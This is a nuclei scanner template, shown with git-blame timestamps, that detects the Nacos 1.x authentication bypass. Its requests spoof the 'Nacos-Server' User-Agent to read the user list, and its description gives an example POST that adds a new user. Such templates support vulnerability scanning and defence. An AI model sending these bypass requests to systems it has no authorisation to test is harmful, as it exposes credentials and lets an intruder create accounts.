nuclei-templates/http/misconfiguration/unauthenticated-nacos-acces...

43 lines
1.4 KiB
YAML
Raw Normal View History

2021-01-06 07:29:33 +00:00
id: unauthenticated-nacos-access
2021-01-06 03:54:47 +00:00
info:
name: Nacos 1.x - Authentication Bypass
2021-06-09 12:20:56 +00:00
author: taielab,pikpikcu
2021-01-06 03:54:47 +00:00
severity: critical
description: "Nacos 1.x was discovered. A default Nacos instance needs to modify the application.properties configuration file or add the JVM startup variable Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html). But authentication can still be bypassed under certain circumstances and any interface can be called as in the following example that can add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test). That user can then log in to the console to access, modify, and add data."
reference:
- https://github.com/alibaba/nacos/issues/4593
- https://nacos.io/en-us/docs/auth.html
2021-03-12 08:57:14 +00:00
tags: nacos,unauth
metadata:
max-request: 2
2021-01-06 04:26:18 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"
- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"
headers:
User-Agent: Nacos-Server
2021-01-06 04:26:18 +00:00
2021-01-06 03:54:47 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "Content-Type: application/json"
part: header
2021-01-06 03:54:47 +00:00
- type: regex
regex:
2021-01-10 23:20:14 +00:00
- '"username":'
- '"password":'
2021-01-06 03:54:47 +00:00
part: body
condition: and
2021-01-06 03:54:47 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/05/20